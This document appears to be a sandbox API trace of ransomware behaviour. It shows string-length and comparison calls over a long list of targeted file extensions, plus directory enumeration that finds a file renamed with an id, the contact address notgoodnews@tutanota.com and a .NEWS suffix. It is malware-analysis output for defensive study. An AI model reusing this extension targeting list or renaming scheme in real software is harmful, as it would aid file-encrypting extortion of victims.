lstrlenW (lpString=".asp") returned 4 [0191.384] lstrcmpiW (lpString1=".asp", lpString2="NEWS") returned -1 [0191.384] lstrlenW (lpString=".aspx") returned 5 [0191.384] lstrcmpiW (lpString1=".aspx", lpString2=".NEWS") returned -1 [0191.384] lstrlenW (lpString=".asr") returned 4 [0191.384] lstrcmpiW (lpString1=".asr", lpString2="NEWS") returned -1 [0191.384] lstrlenW (lpString=".asx") returned 4 [0191.384] lstrcmpiW (lpString1=".asx", lpString2="NEWS") returned -1 [0191.384] lstrlenW (lpString=".avi") returned 4 [0191.384] lstrcmpiW (lpString1=".avi", lpString2="NEWS") returned -1 [0191.384] lstrlenW (lpString=".avs") returned 4 [0191.384] lstrcmpiW (lpString1=".avs", lpString2="NEWS") returned -1 [0191.384] lstrlenW (lpString=".backup") returned 7 [0191.384] lstrcmpiW (lpString1=".backup", lpString2="m].NEWS") returned -1 [0191.384] lstrlenW (lpString=".bak") returned 4 [0191.384] lstrcmpiW (lpString1=".bak", lpString2="NEWS") returned -1 [0191.384] lstrlenW (lpString=".bay") returned 4 [0191.384] lstrcmpiW (lpString1=".bay", lpString2="NEWS") returned -1 [0191.385] lstrlenW (lpString=".bd") returned 3 [0191.385] lstrcmpiW (lpString1=".bd", lpString2="EWS") returned -1 [0191.385] lstrlenW (lpString=".bin") returned 4 [0191.385] lstrcmpiW (lpString1=".bin", lpString2="NEWS") returned -1 [0191.385] lstrlenW (lpString=".bmp") returned 4 [0191.385] lstrcmpiW (lpString1=".bmp", lpString2="NEWS") returned -1 [0191.385] lstrlenW (lpString=".bz2") returned 4 [0191.385] lstrcmpiW (lpString1=".bz2", lpString2="NEWS") returned -1 [0191.385] lstrlenW (lpString=".c") returned 2 [0191.385] lstrcmpiW (lpString1=".c", lpString2="WS") returned -1 [0191.385] lstrlenW (lpString=".cdr") returned 4 [0191.385] lstrcmpiW (lpString1=".cdr", lpString2="NEWS") returned -1 [0191.385] lstrlenW (lpString=".cer") returned 4 [0191.385] lstrcmpiW (lpString1=".cer", lpString2="NEWS") returned -1 [0191.385] lstrlenW (lpString=".cf") returned 3 [0191.385] lstrcmpiW (lpString1=".cf", lpString2="EWS") returned -1 [0191.385] lstrlenW (lpString=".cfc") returned 4 [0191.385] lstrcmpiW (lpString1=".cfc", lpString2="NEWS") returned -1 [0191.386] lstrlenW (lpString=".cfm") returned 4 [0191.386] lstrcmpiW (lpString1=".cfm", lpString2="NEWS") returned -1 [0191.386] lstrlenW (lpString=".cfml") returned 5 [0191.386] lstrcmpiW (lpString1=".cfml", lpString2=".NEWS") returned -1 [0191.386] lstrlenW (lpString=".cfu") returned 4 [0191.386] lstrcmpiW (lpString1=".cfu", lpString2="NEWS") returned -1 [0191.386] lstrlenW (lpString=".chm") returned 4 [0191.386] lstrcmpiW (lpString1=".chm", lpString2="NEWS") returned -1 [0191.386] lstrlenW (lpString=".cin") returned 4 [0191.386] lstrcmpiW (lpString1=".cin", lpString2="NEWS") returned -1 [0191.386] lstrlenW (lpString=".class") returned 6 [0191.386] lstrcmpiW (lpString1=".class", lpString2="].NEWS") returned -1 [0191.386] lstrlenW (lpString=".clx") returned 4 [0191.386] lstrcmpiW (lpString1=".clx", lpString2="NEWS") returned -1 [0191.386] lstrlenW (lpString=".config") returned 7 [0191.386] lstrcmpiW (lpString1=".config", lpString2="m].NEWS") returned -1 [0191.387] lstrlenW (lpString=".cpp") returned 4 [0191.387] lstrcmpiW (lpString1=".cpp", lpString2="NEWS") returned -1 [0191.387] lstrlenW (lpString=".cr2") returned 4 [0191.387] lstrcmpiW (lpString1=".cr2", lpString2="NEWS") returned -1 [0191.387] lstrlenW (lpString=".crt") returned 4 [0191.387] lstrcmpiW (lpString1=".crt", lpString2="NEWS") returned -1 [0191.387] lstrlenW (lpString=".crw") returned 4 [0191.387] lstrcmpiW (lpString1=".crw", lpString2="NEWS") returned -1 [0191.387] lstrlenW (lpString=".cs") returned 3 [0191.387] lstrcmpiW (lpString1=".cs", lpString2="EWS") returned -1 [0191.387] lstrlenW (lpString=".css") returned 4 [0191.387] lstrcmpiW (lpString1=".css", lpString2="NEWS") returned -1 [0191.387] lstrlenW (lpString=".csv") returned 4 [0191.387] lstrcmpiW (lpString1=".csv", lpString2="NEWS") returned -1 [0191.387] lstrlenW (lpString=".cub") returned 4 [0191.387] lstrcmpiW (lpString1=".cub", lpString2="NEWS") returned -1 [0191.387] lstrlenW (lpString=".dae") returned 4 [0191.387] lstrcmpiW (lpString1=".dae", lpString2="NEWS") returned -1 [0191.388] lstrlenW (lpString=".dat") returned 4 [0191.388] lstrcmpiW (lpString1=".dat", lpString2="NEWS") returned -1 [0191.388] lstrlenW (lpString=".db") returned 3 [0191.388] lstrcmpiW (lpString1=".db", lpString2="EWS") returned -1 [0191.388] lstrlenW (lpString=".dbf") returned 4 [0191.388] lstrcmpiW (lpString1=".dbf", lpString2="NEWS") returned -1 [0191.388] lstrlenW (lpString=".dbx") returned 4 [0191.388] lstrcmpiW (lpString1=".dbx", lpString2="NEWS") returned -1 [0191.388] lstrlenW (lpString=".dc3") returned 4 [0191.388] lstrcmpiW (lpString1=".dc3", lpString2="NEWS") returned -1 [0191.388] lstrlenW (lpString=".dcm") returned 4 [0191.388] lstrcmpiW (lpString1=".dcm", lpString2="NEWS") returned -1 [0191.388] lstrlenW (lpString=".dcr") returned 4 [0191.388] lstrcmpiW (lpString1=".dcr", lpString2="NEWS") returned -1 [0191.388] lstrlenW (lpString=".der") returned 4 [0191.388] lstrcmpiW (lpString1=".der", lpString2="NEWS") returned -1 [0191.388] lstrlenW (lpString=".dib") returned 4 [0191.389] lstrcmpiW (lpString1=".dib", lpString2="NEWS") returned -1 [0191.389] lstrlenW (lpString=".dic") returned 4 [0191.389] lstrcmpiW (lpString1=".dic", lpString2="NEWS") returned -1 [0191.389] lstrlenW (lpString=".dif") returned 4 [0191.389] lstrcmpiW (lpString1=".dif", lpString2="NEWS") returned -1 [0191.389] lstrlenW (lpString=".divx") returned 5 [0191.389] lstrcmpiW (lpString1=".divx", lpString2=".NEWS") returned -1 [0191.389] lstrlenW (lpString=".djvu") returned 5 [0191.389] lstrcmpiW (lpString1=".djvu", lpString2=".NEWS") returned -1 [0191.389] lstrlenW (lpString=".dng") returned 4 [0191.389] lstrcmpiW (lpString1=".dng", lpString2="NEWS") returned -1 [0191.389] lstrlenW (lpString=".doc") returned 4 [0191.389] lstrcmpiW (lpString1=".doc", lpString2="NEWS") returned -1 [0191.389] lstrlenW (lpString=".docm") returned 5 [0191.389] lstrcmpiW (lpString1=".docm", lpString2=".NEWS") returned -1 [0191.389] lstrlenW (lpString=".docx") returned 5 [0191.389] lstrcmpiW (lpString1=".docx", lpString2=".NEWS") returned -1 [0191.390] lstrlenW (lpString=".dot") returned 4 [0191.390] lstrcmpiW (lpString1=".dot", lpString2="NEWS") returned -1 [0191.390] lstrlenW (lpString=".dotm") returned 5 [0191.390] lstrcmpiW (lpString1=".dotm", lpString2=".NEWS") returned -1 [0191.390] lstrlenW (lpString=".dotx") returned 5 [0191.390] lstrcmpiW (lpString1=".dotx", lpString2=".NEWS") returned -1 [0191.390] lstrlenW (lpString=".dpx") returned 4 [0191.390] lstrcmpiW (lpString1=".dpx", lpString2="NEWS") returned -1 [0191.390] lstrlenW (lpString=".dqy") returned 4 [0191.390] lstrcmpiW (lpString1=".dqy", lpString2="NEWS") returned -1 [0191.390] lstrlenW (lpString=".dsn") returned 4 [0191.390] lstrcmpiW (lpString1=".dsn", lpString2="NEWS") returned -1 [0191.390] lstrlenW (lpString=".dt") returned 3 [0191.390] lstrcmpiW (lpString1=".dt", lpString2="EWS") returned -1 [0191.390] lstrlenW (lpString=".dtd") returned 4 [0191.390] lstrcmpiW (lpString1=".dtd", lpString2="NEWS") returned -1 [0191.390] lstrlenW (lpString=".dwg") returned 4 [0191.391] lstrcmpiW (lpString1=".dwg", lpString2="NEWS") returned -1 [0191.391] lstrlenW (lpString=".dwt") returned 4 [0191.391] lstrcmpiW (lpString1=".dwt", lpString2="NEWS") returned -1 [0191.391] lstrlenW (lpString=".dx") returned 3 [0191.391] lstrcmpiW (lpString1=".dx", lpString2="EWS") returned -1 [0191.391] lstrlenW (lpString=".dxf") returned 4 [0191.391] lstrcmpiW (lpString1=".dxf", lpString2="NEWS") returned -1 [0191.391] lstrlenW (lpString=".edml") returned 5 [0191.391] lstrcmpiW (lpString1=".edml", lpString2=".NEWS") returned -1 [0191.391] lstrlenW (lpString=".efd") returned 4 [0191.391] lstrcmpiW (lpString1=".efd", lpString2="NEWS") returned -1 [0191.391] lstrlenW (lpString=".elf") returned 4 [0191.391] lstrcmpiW (lpString1=".elf", lpString2="NEWS") returned -1 [0191.391] lstrlenW (lpString=".emf") returned 4 [0191.391] lstrcmpiW (lpString1=".emf", lpString2="NEWS") returned -1 [0191.391] lstrlenW (lpString=".emz") returned 4 [0191.392] lstrcmpiW (lpString1=".emz", lpString2="NEWS") returned -1 [0191.392] lstrlenW (lpString=".epf") returned 4 [0191.392] lstrcmpiW (lpString1=".epf", lpString2="NEWS") returned -1 [0191.392] lstrlenW (lpString=".eps") returned 4 [0191.392] lstrcmpiW (lpString1=".eps", lpString2="NEWS") returned -1 [0191.392] lstrlenW (lpString=".epsf") returned 5 [0191.392] lstrcmpiW (lpString1=".epsf", lpString2=".NEWS") returned -1 [0191.392] lstrlenW (lpString=".epsp") returned 5 [0191.392] lstrcmpiW (lpString1=".epsp", lpString2=".NEWS") returned -1 [0191.392] lstrlenW (lpString=".erf") returned 4 [0191.392] lstrcmpiW (lpString1=".erf", lpString2="NEWS") returned -1 [0191.392] lstrlenW (lpString=".exr") returned 4 [0191.392] lstrcmpiW (lpString1=".exr", lpString2="NEWS") returned -1 [0191.392] lstrlenW (lpString=".f4v") returned 4 [0191.392] lstrcmpiW (lpString1=".f4v", lpString2="NEWS") returned -1 [0191.392] lstrlenW (lpString=".fido") returned 5 [0191.392] lstrcmpiW (lpString1=".fido", lpString2=".NEWS") returned -1 [0191.392] lstrlenW (lpString=".flm") returned 4 [0191.392] lstrcmpiW (lpString1=".flm", lpString2="NEWS") returned -1 [0191.393] lstrlenW (lpString=".flv") returned 4 [0191.393] lstrcmpiW (lpString1=".flv", lpString2="NEWS") returned -1 [0191.393] lstrlenW (lpString=".frm") returned 4 [0191.393] lstrcmpiW (lpString1=".frm", lpString2="NEWS") returned -1 [0191.393] lstrlenW (lpString=".fxg") returned 4 [0191.393] lstrcmpiW (lpString1=".fxg", lpString2="NEWS") returned -1 [0191.393] lstrlenW (lpString=".geo") returned 4 [0191.393] lstrcmpiW (lpString1=".geo", lpString2="NEWS") returned -1 [0191.393] lstrlenW (lpString=".gif") returned 4 [0191.752] lstrcmpiW (lpString1=".gif", lpString2="NEWS") returned -1 [0191.752] lstrlenW (lpString=".grs") returned 4 [0191.752] lstrcmpiW (lpString1=".grs", lpString2="NEWS") returned -1 [0191.752] lstrlenW (lpString=".gz") returned 3 [0191.752] lstrcmpiW (lpString1=".gz", lpString2="EWS") returned -1 [0191.752] lstrlenW (lpString=".h") returned 2 [0191.752] lstrcmpiW (lpString1=".h", lpString2="WS") returned -1 [0191.752] lstrlenW (lpString=".hdr") returned 4 [0191.752] lstrcmpiW (lpString1=".hdr", lpString2="NEWS") returned -1 [0191.752] lstrlenW (lpString=".hpp") returned 4 [0191.752] lstrcmpiW (lpString1=".hpp", lpString2="NEWS") returned -1 [0191.752] lstrlenW (lpString=".hta") returned 4 [0191.752] lstrcmpiW (lpString1=".hta", lpString2="NEWS") returned -1 [0191.752] lstrlenW (lpString=".htc") returned 4 [0191.752] lstrcmpiW (lpString1=".htc", lpString2="NEWS") returned -1 [0191.752] lstrlenW (lpString=".htm") returned 4 [0191.752] lstrcmpiW (lpString1=".htm", lpString2="NEWS") returned -1 [0191.752] lstrlenW (lpString=".html") returned 5 [0191.753] lstrcmpiW (lpString1=".html", lpString2=".NEWS") returned -1 [0191.753] lstrlenW (lpString=".icb") returned 4 [0191.753] lstrcmpiW (lpString1=".icb", lpString2="NEWS") returned -1 [0191.753] lstrlenW (lpString=".ics") returned 4 [0191.753] lstrcmpiW (lpString1=".ics", lpString2="NEWS") returned -1 [0191.753] lstrlenW (lpString=".iff") returned 4 [0191.753] lstrcmpiW (lpString1=".iff", lpString2="NEWS") returned -1 [0191.753] lstrlenW (lpString=".inc") returned 4 [0191.753] lstrcmpiW (lpString1=".inc", lpString2="NEWS") returned -1 [0191.753] lstrlenW (lpString=".indd") returned 5 [0191.753] lstrcmpiW (lpString1=".indd", lpString2=".NEWS") returned -1 [0191.753] lstrlenW (lpString=".ini") returned 4 [0191.753] lstrcmpiW (lpString1=".ini", lpString2="NEWS") returned -1 [0191.754] lstrlenW (lpString=".iqy") returned 4 [0191.754] lstrcmpiW (lpString1=".iqy", lpString2="NEWS") returned -1 [0191.754] lstrlenW (lpString=".j2c") returned 4 [0191.754] lstrcmpiW (lpString1=".j2c", lpString2="NEWS") returned -1 [0191.754] lstrlenW (lpString=".j2k") returned 4 [0191.754] lstrcmpiW (lpString1=".j2k", lpString2="NEWS") returned -1 [0191.754] lstrlenW (lpString=".java") returned 5 [0191.754] lstrcmpiW (lpString1=".java", lpString2=".NEWS") returned -1 [0191.754] lstrlenW (lpString=".jp2") returned 4 [0191.754] lstrcmpiW (lpString1=".jp2", lpString2="NEWS") returned -1 [0191.754] lstrlenW (lpString=".jpc") returned 4 [0191.754] lstrcmpiW (lpString1=".jpc", lpString2="NEWS") returned -1 [0191.754] lstrlenW (lpString=".jpe") returned 4 [0191.754] lstrcmpiW (lpString1=".jpe", lpString2="NEWS") returned -1 [0191.754] lstrlenW (lpString=".jpeg") returned 5 [0191.754] lstrcmpiW (lpString1=".jpeg", lpString2=".NEWS") returned -1 [0191.754] lstrlenW (lpString=".jpf") returned 4 [0191.754] lstrcmpiW (lpString1=".jpf", lpString2="NEWS") returned -1 [0191.754] lstrlenW (lpString=".jpg") returned 4 [0191.754] lstrcmpiW (lpString1=".jpg", lpString2="NEWS") returned -1 [0191.754] lstrlenW (lpString=".jpx") returned 4 [0191.754] lstrcmpiW (lpString1=".jpx", lpString2="NEWS") returned -1 [0191.754] lstrlenW (lpString=".js") returned 3 [0191.754] lstrcmpiW (lpString1=".js", lpString2="EWS") returned -1 [0191.754] lstrlenW (lpString=".jsf") returned 4 [0191.754] lstrcmpiW (lpString1=".jsf", lpString2="NEWS") returned -1 [0191.754] lstrlenW (lpString=".json") returned 5 [0191.754] lstrcmpiW (lpString1=".json", lpString2=".NEWS") returned -1 [0191.755] lstrlenW (lpString=".jsp") returned 4 [0191.755] lstrcmpiW (lpString1=".jsp", lpString2="NEWS") returned -1 [0191.755] lstrlenW (lpString=".kdc") returned 4 [0191.755] lstrcmpiW (lpString1=".kdc", lpString2="NEWS") returned -1 [0191.755] lstrlenW (lpString=".kmz") returned 4 [0191.755] lstrcmpiW (lpString1=".kmz", lpString2="NEWS") returned -1 [0191.755] lstrlenW (lpString=".kwm") returned 4 [0191.755] lstrcmpiW (lpString1=".kwm", lpString2="NEWS") returned -1 [0191.755] lstrlenW (lpString=".lasso") returned 6 [0191.755] lstrcmpiW (lpString1=".lasso", lpString2="].NEWS") returned -1 [0191.755] lstrlenW (lpString=".lbi") returned 4 [0191.755] lstrcmpiW (lpString1=".lbi", lpString2="NEWS") returned -1 [0191.755] lstrlenW (lpString=".lgf") returned 4 [0191.755] lstrcmpiW (lpString1=".lgf", lpString2="NEWS") returned -1 [0191.755] lstrlenW (lpString=".lgp") returned 4 [0191.755] lstrcmpiW (lpString1=".lgp", lpString2="NEWS") returned -1 [0191.755] lstrlenW (lpString=".log") returned 4 [0191.755] lstrcmpiW (lpString1=".log", lpString2="NEWS") returned -1 [0191.755] lstrlenW (lpString=".m1v") returned 4 [0191.755] lstrcmpiW (lpString1=".m1v", lpString2="NEWS") returned -1 [0191.755] lstrlenW (lpString=".m4a") returned 4 [0191.755] lstrcmpiW (lpString1=".m4a", lpString2="NEWS") returned -1 [0191.755] lstrlenW (lpString=".m4v") returned 4 [0191.755] lstrcmpiW (lpString1=".m4v", lpString2="NEWS") returned -1 [0191.755] lstrlenW (lpString=".max") returned 4 [0191.755] lstrcmpiW (lpString1=".max", lpString2="NEWS") returned -1 [0191.755] lstrlenW (lpString=".md") returned 3 [0191.755] lstrcmpiW (lpString1=".md", lpString2="EWS") returned -1 [0191.755] lstrlenW (lpString=".mda") returned 4 [0191.756] lstrcmpiW (lpString1=".mda", lpString2="NEWS") returned -1 [0191.756] lstrlenW (lpString=".mdb") returned 4 [0191.756] lstrcmpiW (lpString1=".mdb", lpString2="NEWS") returned -1 [0191.756] lstrlenW (lpString=".mde") returned 4 [0191.756] lstrcmpiW (lpString1=".mde", lpString2="NEWS") returned -1 [0191.756] lstrlenW (lpString=".mdf") returned 4 [0191.756] lstrcmpiW (lpString1=".mdf", lpString2="NEWS") returned -1 [0191.756] lstrlenW (lpString=".mdw") returned 4 [0191.756] lstrcmpiW (lpString1=".mdw", lpString2="NEWS") returned -1 [0191.756] lstrlenW (lpString=".mef") returned 4 [0191.756] lstrcmpiW (lpString1=".mef", lpString2="NEWS") returned -1 [0191.756] lstrlenW (lpString=".mft") returned 4 [0191.756] lstrcmpiW (lpString1=".mft", lpString2="NEWS") returned -1 [0191.756] lstrlenW (lpString=".mfw") returned 4 [0191.756] lstrcmpiW (lpString1=".mfw", lpString2="NEWS") returned -1 [0191.756] lstrlenW (lpString=".mht") returned 4 [0191.756] lstrcmpiW (lpString1=".mht", lpString2="NEWS") returned -1 [0191.756] lstrlenW (lpString=".mhtml") returned 6 [0191.756] lstrcmpiW (lpString1=".mhtml", lpString2="].NEWS") returned -1 [0191.756] lstrlenW (lpString=".mka") returned 4 [0191.756] lstrcmpiW (lpString1=".mka", lpString2="NEWS") returned -1 [0191.756] lstrlenW (lpString=".mkidx") returned 6 [0191.756] lstrcmpiW (lpString1=".mkidx", lpString2="].NEWS") returned -1 [0191.756] lstrlenW (lpString=".mkv") returned 4 [0191.756] lstrcmpiW (lpString1=".mkv", lpString2="NEWS") returned -1 [0191.756] lstrlenW (lpString=".mos") returned 4 [0191.756] lstrcmpiW (lpString1=".mos", lpString2="NEWS") returned -1 [0191.756] lstrlenW (lpString=".mov") returned 4 [0191.757] lstrcmpiW (lpString1=".mov", lpString2="NEWS") returned -1 [0191.757] lstrlenW (lpString=".mp3") returned 4 [0191.757] lstrcmpiW (lpString1=".mp3", lpString2="NEWS") returned -1 [0191.757] lstrlenW (lpString=".mp4") returned 4 [0191.757] lstrcmpiW (lpString1=".mp4", lpString2="NEWS") returned -1 [0191.757] lstrlenW (lpString=".mpeg") returned 5 [0191.757] lstrcmpiW (lpString1=".mpeg", lpString2=".NEWS") returned -1 [0191.757] lstrlenW (lpString=".mpg") returned 4 [0191.757] lstrcmpiW (lpString1=".mpg", lpString2="NEWS") returned -1 [0191.757] lstrlenW (lpString=".mpv") returned 4 [0191.757] lstrcmpiW (lpString1=".mpv", lpString2="NEWS") returned -1 [0191.757] lstrlenW (lpString=".mrw") returned 4 [0191.757] lstrcmpiW (lpString1=".mrw", lpString2="NEWS") returned -1 [0191.757] lstrlenW (lpString=".msg") returned 4 [0191.757] lstrcmpiW (lpString1=".msg", lpString2="NEWS") returned -1 [0191.757] lstrlenW (lpString=".mxl") returned 4 [0191.757] lstrcmpiW (lpString1=".mxl", lpString2="NEWS") returned -1 [0191.757] lstrlenW (lpString=".myd") returned 4 [0191.757] lstrcmpiW (lpString1=".myd", lpString2="NEWS") returned -1 [0191.757] lstrlenW (lpString=".myi") returned 4 [0191.757] lstrcmpiW (lpString1=".myi", lpString2="NEWS") returned -1 [0191.757] lstrlenW (lpString=".nef") returned 4 [0191.757] lstrcmpiW (lpString1=".nef", lpString2="NEWS") returned -1 [0191.757] lstrlenW (lpString=".nrw") returned 4 [0191.757] lstrcmpiW (lpString1=".nrw", lpString2="NEWS") returned -1 [0191.757] lstrlenW (lpString=".obj") returned 4 [0191.757] lstrcmpiW (lpString1=".obj", lpString2="NEWS") returned -1 [0191.757] lstrlenW (lpString=".odb") returned 4 [0191.757] lstrcmpiW (lpString1=".odb", lpString2="NEWS") returned -1 [0191.758] lstrlenW (lpString=".odc") returned 4 [0191.758] lstrcmpiW (lpString1=".odc", lpString2="NEWS") returned -1 [0191.758] lstrlenW (lpString=".odm") returned 4 [0191.758] lstrcmpiW (lpString1=".odm", lpString2="NEWS") returned -1 [0191.758] lstrlenW (lpString=".odp") returned 4 [0191.758] lstrcmpiW (lpString1=".odp", lpString2="NEWS") returned -1 [0191.758] lstrlenW (lpString=".ods") returned 4 [0191.758] lstrcmpiW (lpString1=".ods", lpString2="NEWS") returned -1 [0191.758] lstrlenW (lpString=".oft") returned 4 [0191.758] lstrcmpiW (lpString1=".oft", lpString2="NEWS") returned -1 [0191.758] lstrlenW (lpString=".one") returned 4 [0191.758] lstrcmpiW (lpString1=".one", lpString2="NEWS") returned -1 [0191.758] lstrlenW (lpString=".onepkg") returned 7 [0191.758] lstrcmpiW (lpString1=".onepkg", lpString2="m].NEWS") returned -1 [0191.758] lstrlenW (lpString=".onetoc2") returned 8 [0191.758] lstrcmpiW (lpString1=".onetoc2", lpString2="om].NEWS") returned -1 [0191.758] lstrlenW (lpString=".opt") returned 4 [0191.758] lstrcmpiW (lpString1=".opt", lpString2="NEWS") returned -1 [0191.758] lstrlenW (lpString=".oqy") returned 4 [0191.758] lstrcmpiW (lpString1=".oqy", lpString2="NEWS") returned -1 [0191.758] lstrlenW (lpString=".orf") returned 4 [0191.758] lstrcmpiW (lpString1=".orf", lpString2="NEWS") returned -1 [0191.758] lstrlenW (lpString=".p12") returned 4 [0191.758] lstrcmpiW (lpString1=".p12", lpString2="NEWS") returned -1 [0191.758] lstrlenW (lpString=".p7b") returned 4 [0191.758] lstrcmpiW (lpString1=".p7b", lpString2="NEWS") returned -1 [0191.758] lstrlenW (lpString=".p7c") returned 4 [0191.758] lstrcmpiW (lpString1=".p7c", lpString2="NEWS") returned -1 [0191.759] lstrlenW (lpString=".pam") returned 4 [0191.759] lstrcmpiW (lpString1=".pam", lpString2="NEWS") returned -1 [0191.759] lstrlenW (lpString=".pbm") returned 4 [0191.759] lstrcmpiW (lpString1=".pbm", lpString2="NEWS") returned -1 [0191.759] lstrlenW (lpString=".pct") returned 4 [0191.759] lstrcmpiW (lpString1=".pct", lpString2="NEWS") returned -1 [0191.759] lstrlenW (lpString=".pcx") returned 4 [0191.759] lstrcmpiW (lpString1=".pcx", lpString2="NEWS") returned -1 [0191.759] lstrlenW (lpString=".pdd") returned 4 [0191.759] lstrcmpiW (lpString1=".pdd", lpString2="NEWS") returned -1 [0191.759] lstrlenW (lpString=".pdf") returned 4 [0191.759] lstrcmpiW (lpString1=".pdf", lpString2="NEWS") returned -1 [0191.759] lstrlenW (lpString=".pdp") returned 4 [0191.759] lstrcmpiW (lpString1=".pdp", lpString2="NEWS") returned -1 [0191.759] lstrlenW (lpString=".pef") returned 4 [0191.759] lstrcmpiW (lpString1=".pef", lpString2="NEWS") returned -1 [0191.759] lstrlenW (lpString=".pem") returned 4 [0191.759] lstrcmpiW (lpString1=".pem", lpString2="NEWS") returned -1 [0191.759] lstrlenW (lpString=".pff") returned 4 [0191.759] lstrcmpiW (lpString1=".pff", lpString2="NEWS") returned -1 [0191.759] lstrlenW (lpString=".pfm") returned 4 [0191.759] lstrcmpiW (lpString1=".pfm", lpString2="NEWS") returned -1 [0191.759] lstrlenW (lpString=".pfx") returned 4 [0191.759] lstrcmpiW (lpString1=".pfx", lpString2="NEWS") returned -1 [0191.759] lstrlenW (lpString=".pgm") returned 4 [0191.759] lstrcmpiW (lpString1=".pgm", lpString2="NEWS") returned -1 [0191.759] lstrlenW (lpString=".php") returned 4 [0191.759] lstrcmpiW (lpString1=".php", lpString2="NEWS") returned -1 [0191.759] lstrlenW (lpString=".php3") returned 5 [0191.760] lstrcmpiW (lpString1=".php3", lpString2=".NEWS") returned 1 [0191.760] lstrlenW (lpString=".php4") returned 5 [0191.760] lstrcmpiW (lpString1=".php4", lpString2=".NEWS") returned 1 [0191.760] lstrlenW (lpString=".php5") returned 5 [0191.760] lstrcmpiW (lpString1=".php5", lpString2=".NEWS") returned 1 [0191.760] lstrlenW (lpString=".phtml") returned 6 [0191.760] lstrcmpiW (lpString1=".phtml", lpString2="].NEWS") returned -1 [0191.760] lstrlenW (lpString=".pict") returned 5 [0191.760] lstrcmpiW (lpString1=".pict", lpString2=".NEWS") returned 1 [0191.760] lstrlenW (lpString=".pl") returned 3 [0191.760] lstrcmpiW (lpString1=".pl", lpString2="EWS") returned -1 [0191.760] lstrlenW (lpString=".pls") returned 4 [0191.760] lstrcmpiW (lpString1=".pls", lpString2="NEWS") returned -1 [0191.760] lstrlenW (lpString=".pm") returned 3 [0191.760] lstrcmpiW (lpString1=".pm", lpString2="EWS") returned -1 [0191.760] lstrlenW (lpString=".png") returned 4 [0191.760] lstrcmpiW (lpString1=".png", lpString2="NEWS") returned -1 [0191.760] lstrlenW (lpString=".pnm") returned 4 [0191.760] lstrcmpiW (lpString1=".pnm", lpString2="NEWS") returned -1 [0191.760] lstrlenW (lpString=".pot") returned 4 [0191.760] lstrcmpiW (lpString1=".pot", lpString2="NEWS") returned -1 [0191.760] lstrlenW (lpString=".potm") returned 5 [0191.760] lstrcmpiW (lpString1=".potm", lpString2=".NEWS") returned 1 [0191.760] lstrlenW (lpString=".potx") returned 5 [0191.760] lstrcmpiW (lpString1=".potx", lpString2=".NEWS") returned 1 [0191.760] lstrlenW (lpString=".ppa") returned 4 [0191.760] lstrcmpiW (lpString1=".ppa", lpString2="NEWS") returned -1 [0191.760] lstrlenW (lpString=".ppam") returned 5 [0191.760] lstrcmpiW (lpString1=".ppam", lpString2=".NEWS") returned 1 [0191.761] lstrlenW (lpString=".ppm") returned 4 [0191.761] lstrcmpiW (lpString1=".ppm", lpString2="NEWS") returned -1 [0191.761] lstrlenW (lpString=".pps") returned 4 [0191.761] lstrcmpiW (lpString1=".pps", lpString2="NEWS") returned -1 [0191.761] lstrlenW (lpString=".ppsm") returned 5 [0191.761] lstrcmpiW (lpString1=".ppsm", lpString2=".NEWS") returned 1 [0191.761] lstrlenW (lpString=".ppt") returned 4 [0191.761] lstrcmpiW (lpString1=".ppt", lpString2="NEWS") returned -1 [0191.761] lstrlenW (lpString=".pptm") returned 5 [0191.761] lstrcmpiW (lpString1=".pptm", lpString2=".NEWS") returned 1 [0191.761] lstrlenW (lpString=".pptx") returned 5 [0191.761] lstrcmpiW (lpString1=".pptx", lpString2=".NEWS") returned 1 [0191.761] lstrlenW (lpString=".prn") returned 4 [0191.761] lstrcmpiW (lpString1=".prn", lpString2="NEWS") returned -1 [0191.761] lstrlenW (lpString=".ps") returned 3 [0191.761] lstrcmpiW (lpString1=".ps", lpString2="EWS") returned -1 [0191.761] lstrlenW (lpString=".psb") returned 4 [0191.761] lstrcmpiW (lpString1=".psb", lpString2="NEWS") returned -1 [0191.761] lstrlenW (lpString=".psd") returned 4 [0191.761] lstrcmpiW (lpString1=".psd", lpString2="NEWS") returned -1 [0191.761] lstrlenW (lpString=".pst") returned 4 [0191.761] lstrcmpiW (lpString1=".pst", lpString2="NEWS") returned -1 [0191.761] lstrlenW (lpString=".ptx") returned 4 [0191.761] lstrcmpiW (lpString1=".ptx", lpString2="NEWS") returned -1 [0191.761] lstrlenW (lpString=".pub") returned 4 [0191.761] lstrcmpiW (lpString1=".pub", lpString2="NEWS") returned -1 [0191.761] lstrlenW (lpString=".pwm") returned 4 [0191.761] lstrcmpiW (lpString1=".pwm", lpString2="NEWS") returned -1 [0191.762] lstrlenW (lpString=".pxr") returned 4 [0191.762] lstrcmpiW (lpString1=".pxr", lpString2="NEWS") returned -1 [0191.762] lstrlenW (lpString=".py") returned 3 [0191.762] lstrcmpiW (lpString1=".py", lpString2="EWS") returned -1 [0191.762] lstrlenW (lpString=".qt") returned 3 [0191.762] lstrcmpiW (lpString1=".qt", lpString2="EWS") returned -1 [0191.762] lstrlenW (lpString=".r3d") returned 4 [0191.762] lstrcmpiW (lpString1=".r3d", lpString2="NEWS") returned -1 [0191.762] lstrlenW (lpString=".raf") returned 4 [0191.762] lstrcmpiW (lpString1=".raf", lpString2="NEWS") returned -1 [0191.762] lstrlenW (lpString=".rar") returned 4 [0191.762] lstrcmpiW (lpString1=".rar", lpString2="NEWS") returned -1 [0191.762] lstrlenW (lpString=".raw") returned 4 [0191.762] lstrcmpiW (lpString1=".raw", lpString2="NEWS") returned -1 [0191.762] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3989e96e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3989e96e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3989e96e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.762] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3989e96e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3989e96e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3989e96e, 